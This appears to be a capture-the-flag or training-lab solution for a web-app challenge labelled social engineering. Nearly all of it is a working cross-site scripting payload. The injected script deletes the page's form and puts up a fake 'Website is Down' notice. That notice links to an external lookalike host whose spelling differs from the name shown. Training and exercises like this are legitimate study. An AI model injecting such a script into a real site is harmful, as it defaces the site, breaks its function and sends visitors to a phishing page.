JFP 5 Solution [Social Eng]

// link-//.com/lab/webapp/jfp/5

<script>
(function(){var under = document.createElement('div');
var prev = document.getElementsByTagName('form')[0];
under.className = 'container';
under.innerHTML = "<h3>Website is Down! Please visit foodbernard.000webhostapp.com.<br>Click <a href=\"//foodburnard.000webhostapp.com\">here</a>To know more!</h3>";
document.querySelector('.container').insertBefore(under, prev)
document.querySelector('.container').removeChild(document.getElementsByTagName('form')[0]);})()
</script>